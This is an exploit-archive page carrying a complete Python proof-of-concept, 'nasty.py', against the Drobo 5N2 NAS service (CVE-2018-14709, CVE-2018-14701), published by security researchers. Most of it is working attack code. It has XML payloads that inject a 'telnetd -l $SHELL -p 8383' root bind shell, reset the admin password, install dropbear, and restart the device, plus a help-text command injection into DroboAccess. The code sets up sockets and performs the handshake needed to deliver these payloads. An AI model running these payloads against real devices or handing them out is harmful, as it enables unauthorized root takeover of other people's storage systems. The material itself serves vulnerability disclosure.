what you don't know can hurt you

Drobo 5N2 4.1.1 Remote Command Injection

Drobo 5N2 4.1.1 Remote Command Injection
Posted Mar 13, 2020
Authored by Rick Ramgattie, Ian Sindermann

Drobo 5N2 version 4.1.1 suffers from a remote command injection vulnerability.

tags | exploit, remote
advisories | CVE-2018-14709, CVE-2018-14701
MD5 | 0ce60eb2d9492ed8fe822a3d0888eea5

Drobo 5N2 4.1.1 Remote Command Injection

Change Mirror Download
# Exploit Title: Drobo 5N2 4.1.1 - Remote Command Injection
# Date: 2020-03-12
# Exploit Author: Rick Ramgattie, Ian Sindermann
# Vendor Homepage: https://www.drobo.com/
# Version: 4.1.1 and lower.
# CVE: CVE-2018-14709, CVE-2018-14701
###

#!/usr/bin/env python3

# nasty.py - A proof-of-concept utility for (maliciously) interacting with the Drobo NASd service.
# This utility leverages the lack of any real authentication mechanism to perform arbitrary actions.
# These actions include:
# - Getting device status.
# - Installing applications.
# - Resetting admin credentials.
# - Popping root shells.
# - Turning on party mode.
# This set of exploits is known to affect the Drobo 5N2, firmware version 4.1.1 and lower.
# As of 2020-03-12, newer firmware versions appear to be vulnerable as well, but this has not been verified.
# Most of the Drobo product line also appears to be vulnerable. Again, this has not been verified.
# These vulnerabilities were disclosed to the manufacturer on 2018-07-10.
# More vulnerabilities for this device may be found here: https://blog.securityevaluators.com/4f1d885df7fc
###
# Product of ISE Labs.
# - http://www.securityevaluators.com/
# - @ISESecurity
###


# RE Notes:
# ,-- Encryption bool?
# Handshake Preamble: * /\
# 44 52 49 4e 45 54 54 4d 07 01 00 00 00 00 00 88
# \_____________________/ \_________/ \_________/
# Static string. To/from Size of
# "DIRNETTM" server? next message
#
# Handshake
# 64 72 61 31 37 33 32 30 32 33 30 30 30 31 30 00 00 00 00 00 64 72 61 31 37 33 32 30 32 33 30 30 30 31 30 00 00 00 00 00 00 00...
# \______________________________________________/ \_________/ \_______________________________________________/ \_________________-->
# Device serial number with NULL padding. NULL Device serial number with NULL padding. ESAID? 88 bytes of NULL
# "dra173202300010" "dra173202300010"
#
# The stat port returns an "ESAID" value that is identical to the serial number on this device (5N2).
# One of the serial numbers in this packet may actually be the ESAID.
#
# Preamble: *
# 44 52 49 4e 45 54 54 4d 0a 01 00 00 00 00 00 88
# \_____________________/ \_________/ \_________/
# Static string. To/from Size of
# "DIRNETTM" server? next message
#
# Message:
# XX XX XX XX XX XX XX XX 00
# \_____________________/ \/
# Arbitrary length string NULL terminator
#
#
# Protocol flow:
# Initial handshake: ,----- 2nd nibble in 3rd section is different. "07 01 00 00" instead of "0a 01 00 00" #TODO: why?
# | c -> s: Preamble. <-' \_
# | c -> s: Message: Handshake / `- These two are normally sent as one packet.
# v c <- s: Preamble. <-------- 2nd nibble in 3rd section is different. "87 01 00 00" instead of "8a 01 00 00" #TODO: why?
# Loop:
# +> c -> s: Preamble.
# | c -> s: Message: Command.
# | c <- s: Preamble.
# +- c <- s: Message: Results. > Large responses are split into chunks. Must use size from preamble.


import argparse
import logging
import re
import socket
import struct
import sys


LOG_FORMAT = '[%(levelname)s]: %(message)s'
BUFFER_SIZE = 1024
HANDSHAKE_PREAMBLE = b'\x44\x52\x49\x4e\x45\x54\x54\x4d\x07\x01\x00\x00'
PREAMBLE = b'\x44\x52\x49\x4e\x45\x54\x54\x4d\x0a\x01\x00\x00'
PREAMBLE_LEN = 16

# Note: Payloads usually contain the device's serial number. Replace this with
# '{serial}' so `send_msg` can insert the target's serial.
PAYLOADS = {
"daccess" :'<TMCmd><CmdID>78</CmdID><Params><Name>DroboAccess</Name><Action>Install</Action><Data>ftp://updates.drobo.com/droboapps/2.1/downloads/DroboAccess.tgz</Data></Params><ESAID>{serial}</ESAID></TMCmd>',
"dropbear":'<TMCmd><CmdID>78</CmdID><Params><Name>dropbear</Name><Action>Install</Action><Data>ftp://updates.drobo.com/droboapps/2.1/downloads/dropbear.tgz</Data></Params><ESAID>{serial}</ESAID></TMCmd>',
"getadmin":'<TMCmd><CmdID>30</CmdID><Params><DRINasAdminConfig>DRINasAdminConfig</DRINasAdminConfig><DRINasDroboAppsConfig>DRINasDroboAppsConfig</DRINasDroboAppsConfig></Params><ESAID>{serial}</ESAID></TMCmd>',
"getnet" :'<TMCmd><CmdID>30</CmdID><ESAID>{serial}</ESAID><Params><Network>Network</Network></Params></TMCmd>',
"gettemp" :'<TMCmd><CmdID>61</CmdID><ESAID>{serial}</ESAID></TMCmd>',
"partyon" :'<TMCmd><CmdID>26</CmdID><Params><IdentifyInterval>900</IdentifyInterval></Params><ESAID>{serial}</ESAID></TMCmd>',
"partyoff":'<TMCmd><CmdID>26</CmdID><Params><IdentifyInterval>0</IdentifyInterval></Params><ESAID>{serial}</ESAID></TMCmd>',
"popit" :'<TMCmd><CmdID>78</CmdID><Params><Name>Drobo`telnetd -l $SHELL -p 8383`Access</Name><Action>Install</Action><Data>bork</Data></Params><ESAID>{serial}</ESAID></TMCmd>',
"restart" :'<TMCmd><CmdID>21</CmdID><ESAID>{serial}</ESAID></TMCmd>',
"setadmin":'<TMCmd><CmdID>31</CmdID><Params><DRINASConfig><DRINasAdminConfig><UserName>admin</UserName><Password>ono</Password><ValidPassword>1</ValidPassword><EncryptedPassword>0</EncryptedPassword></DRINasAdminConfig><DRINasDroboAppsConfig><Version>11</Version><Enabled>1</Enabled></DRINasDroboAppsConfig></DRINASConfig></Params><ESAID>{serial}</ESAID></TMCmd>',
"test" :'<TMCmd><CmdID>82</CmdID><Params><Time>1521161215</Time><GMTOffset>4294966876</GMTOffset></Params><ESAID>{serial}</ESAID></TMCmd>',
"stdin" :'Handled elsewhere.'}

DEFAULT_PORT_STAT = 5000
DEFAULT_PORT_CMD = 5001
DEFAULT_TIMEOUT = None
HELP_EPILOG='''
PAYLOADS
daccess - Installs DroboAccess on the target device. At the time of writing,
DroboAccess has numerous unauthenticated command injection
vulnerabilities. Try the following:
GET /DroboAccess/delete_user?username=test';/usr/sbin/telnetd -l /bin/sh -p 8383
- A long delay and response of "<Error>0</Error>" is expected.
dropbear - Installs dropbear on the target device.
- A response of "<Error>0</Error>" is expected.
getadmin - Returns the target's current (redacted) admin configuration.
gettemp - Returns the target's system info (temperature and uptime).
getnet - Returns the target's network info.
partyon - Enables "party mode" on the target. This will cause the target
device's lights to blink for 15 minutes.
partyoff - Prematurely disables "party mode".
popit - Exploits CVE-2019-6801 to spawn a root bind shell on port 8383.
- A response of "<Error>1</Error>" is expected.
restart - Restarts the target device.
setadmin - Sets administrative options on the target.
- Username: admin
- Password: ono
- Apps enabled: yes
stdin - Reads data from STDIN and sends it as a command.
'''


def recv_message(s):
preamble = s.recv(PREAMBLE_LEN)
msg_len = struct.unpack(">I", preamble[-4:])[0] # Parse expected message length from preamble.
message = ''
if msg_len <= 0:
return(message)
while True:
message += s.recv(BUFFER_SIZE).decode('utf-8')
if len(message) >= msg_len:
return(message) # There will be a null at the end. It should be fine.


def send_handshake(s, serial):
serial_bytes = serial.encode('utf-8')
hs_body = struct.pack("16s", serial_bytes) # 16 byte padded string containing device serial number.
hs_body += struct.pack(">I", 0) # 4 byte field, presumably uint, only seen as zero.
hs_body += struct.pack("16s", serial_bytes) # 16 byte padded string containing device serial number. again...
hs_body += struct.pack("184x") # 184 bytes of NULL padding.
size_bytes = struct.pack(">I", len(hs_body)) # Size of message body. Send with preamble.
hs_data = HANDSHAKE_PREAMBLE + size_bytes + hs_body
logging.debug(repr(hs_data))
s.send(hs_data)


def send_message(s, serial, message):
msg_body = message.format(serial=serial) # Add target device's serial number.
msg_body_bytes = msg_body.encode('utf-8')
msg_body_bytes += struct.pack("x") # NULL terminator.
size_bytes = struct.pack(">I", len(msg_body_bytes)) # Size of XML body. Send with preamble.
msg_data = PREAMBLE + size_bytes + msg_body_bytes
logging.debug(repr(msg_data))
s.send(msg_data)


aparser = argparse.ArgumentParser(
description='nasty.py - A proof-of-concept utility for (maliciously) interacting with the Drobo NASd service.',
epilog=HELP_EPILOG,
formatter_class=argparse.RawDescriptionHelpFormatter)
aparser.add_argument("host", help='Host or IP address of the target Drobo.')
aparser.add_argument("payload", help='Payload to use. See PAYLOADS.')
aparser.add_argument("-p", "--portstat", help='Specify a non-default stat port on the Drobo.', default=DEFAULT_PORT_STAT, type=int)
aparser.add_argument("-P", "--portcmd", help='Specify a non-default command port on the Drobo.', default=DEFAULT_PORT_CMD, type=int)
aparser.add_argument("-s", "--serial", help='Manually set the target serial number. Skips serial number detection.')
aparser.add_argument("-t", "--timeout", help='Set a timeout in seconds for socket operations.', default=DEFAULT_TIMEOUT, type=float)
aparser.add_argument("-v", "--verbose", help='Increase verbosity.', action='store_true')
args = aparser.parse_args()

# Basic check for color support.
if sys.stdout.isatty() and sys.platform in ["linux","linux2","darwin"]:
logging.addLevelName(logging.NOTSET, "\033[39m????\033[0m")
logging.addLevelName(logging.DEBUG, "\033[37mDBUG\033[0m")
logging.addLevelName(logging.INFO, "\033[96mINFO\033[0m")
logging.addLevelName(logging.WARNING, "\033[93mWARN\033[0m")
logging.addLevelName(logging.ERROR, "\033[95mERRR\033[0m")
logging.addLevelName(logging.CRITICAL, "\033[91mCRIT\033[0m")
else:
logging.addLevelName(logging.NOTSET, "????")
logging.addLevelName(logging.DEBUG, "DBUG")
logging.addLevelName(logging.INFO, "INFO")
logging.addLevelName(logging.WARNING, "WARN")
logging.addLevelName(logging.ERROR, "ERRR")
logging.addLevelName(logging.CRITICAL, "CRIT")

if args.verbose:
logging.basicConfig(format=LOG_FORMAT, level=logging.DEBUG)
else:
logging.basicConfig(format=LOG_FORMAT, level=logging.INFO)

if args.payload == 'stdin':
logging.info("Reading payload from STDIN.")
payload_xml = sys.stdin.read()
logging.debug(payload_xml)
else:
payload_xml = PAYLOADS[args.payload]


logging.info("Connecting...")
# Connect to the stat port. This is required for the cmd port to work.
# The stat port also gives us the serial number.
sock_stat = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock_stat.settimeout(args.timeout)
sock_stat.connect((args.host, args.portstat))
# Connect to the cmd port.
sock_cmd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock_cmd.settimeout(args.timeout)
sock_cmd.connect((args.host, args.portcmd))

# Pull the serial number from the stat port.
logging.info("Pulling serial number...")
stat_msg = sock_stat.recv(BUFFER_SIZE)
if args.serial:
serial = args.serial
else:
m = re.search('<mSerial>([^<]+)</mSerial>', stat_msg.decode('utf-8'))
if not m:
logging.critical("Could not determine target's serial number!")
logging.debug(stat_msg)
sys.exit(100)
serial = m.group(1)
logging.info("Identified serial: " + serial)

# Perform a handshake with the cmd port. Requires the serial num.
logging.info('Performing handshake...')
send_handshake(sock_cmd, serial)
recv_message(sock_cmd) # Blank response - trash.

# Send the payload.
logging.info("Sending payload...")
send_message(sock_cmd, serial, payload_xml)
logging.info("Waiting for response...")
resp = recv_message(sock_cmd)
logging.info("Response:\n" + resp)

# Cleanup.
sock_cmd.close()
sock_stat.close()
logging.info("Donezo.")
Login or Register to add favorites

File Archive:

May 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    14 Files
  • 2
    May 2nd
    3 Files
  • 3
    May 3rd
    1 Files
  • 4
    May 4th
    18 Files
  • 5
    May 5th
    15 Files
  • 6
    May 6th
    21 Files
  • 7
    May 7th
    15 Files
  • 8
    May 8th
    19 Files
  • 9
    May 9th
    1 Files
  • 10
    May 10th
    2 Files
  • 11
    May 11th
    18 Files
  • 12
    May 12th
    39 Files
  • 13
    May 13th
    15 Files
  • 14
    May 14th
    17 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    2 Files
  • 17
    May 17th
    2 Files
  • 18
    May 18th
    15 Files
  • 19
    May 19th
    21 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    15 Files
  • 22
    May 22nd
    6 Files
  • 23
    May 23rd
    1 Files
  • 24
    May 24th
    1 Files
  • 25
    May 25th
    2 Files
  • 26
    May 26th
    23 Files
  • 27
    May 27th
    13 Files
  • 28
    May 28th
    18 Files
  • 29
    May 29th
    17 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close